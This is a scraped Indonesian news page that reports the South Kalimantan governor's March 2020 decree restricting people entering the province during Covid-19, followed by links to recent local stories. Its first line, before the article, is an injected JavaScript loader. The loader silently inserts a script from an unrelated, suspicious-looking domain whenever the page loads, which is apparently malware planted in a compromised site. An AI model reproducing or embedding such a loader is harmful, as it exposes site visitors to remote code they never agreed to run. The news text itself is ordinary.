(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

PENTING. Ini Isi Surat Keputusan Pembatasan Arus Masuk Orang dari Luar Provinsi Kalsel


KANALKALIMANTAN.COM, BANJARBARU –  Pemerintah Provinsi Kalsel telah mengambil kebijakan untuk melakukan pembatasan arus masuk orang yang datang dari luar provinsi. Hal itu tertuang dalam Surat Keputusan Gubenur (Kepgub) Kalsel Nomor : 188.44/021/kum/2020, tentang pembatasan arus masuk orang yang datang dari luar daerah provinsi, per-tanggal 31 Maret 2020.

Seperti apakah isi lengkap keputusan tersebut? Berikut isi surat Kepgub Kalsel, yang salinannya berhasil didapatkan Kanalkalimantan.com.

KESATU, Pembatasan Arus Masuk Orang Yang Datang Dari Luar Wilayah Kalimantan Selatan.

KEDUA, Pembatasan Arus Masuk Orang sebagaimana Diktum KESATU yaitu melakukan:

1. Pencegahan terhadap setiap arus masuk orang yang datang baik melalui darat, laut, sungai dan udara, berupa : mitigasi, deteksi, dan sosial edukasi.

2. Penanganan terhadap setiap arus masuk orang yang datang balk melalui darat, laut, sungai dan udara, berupa : isolasi, karantina, dan tindakan medis.

KETIGA, Tindakan Pencegahan dan Penanganan sebagaimana dimaksud Diktum KEDUA angka 1 dan angka 2 dilaksanakan berdasarkan protokol kesehatan penangangan Covid-19 dan sesuai Peraturan Perundang undangan yang berlaku.

KEEMPAT, Segala biaya yang timbul akibat ditetapkannya Keputusan Gubernur dibebankan pada Anggaran Pendapatan dan Belanja Negara (APBN) dan Anggaran Pendapatan dan Belanja Daerah (APBD) Provinsi Kalimantan Selatan Tahun Anggaran 2020 serta sumber dana lainnya sesuai dengan ketentuan peraturan perundang-undangan.

KELIMA, Keputusan Gubernur ini berlaku sejak tanggal ditetapkan sampai dengan 14 (empat belas) hari, apabila ada perubahan peraturan, maka Keputusan Gubernur ini akan dievaluasi kembali.

KEENAM, Keputusan Gubernur ini mulai berlaku pada tanggal ditetapkan (31 Maret 2020). (Kanalkalimantan.com/rico)

 

 

 

 

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.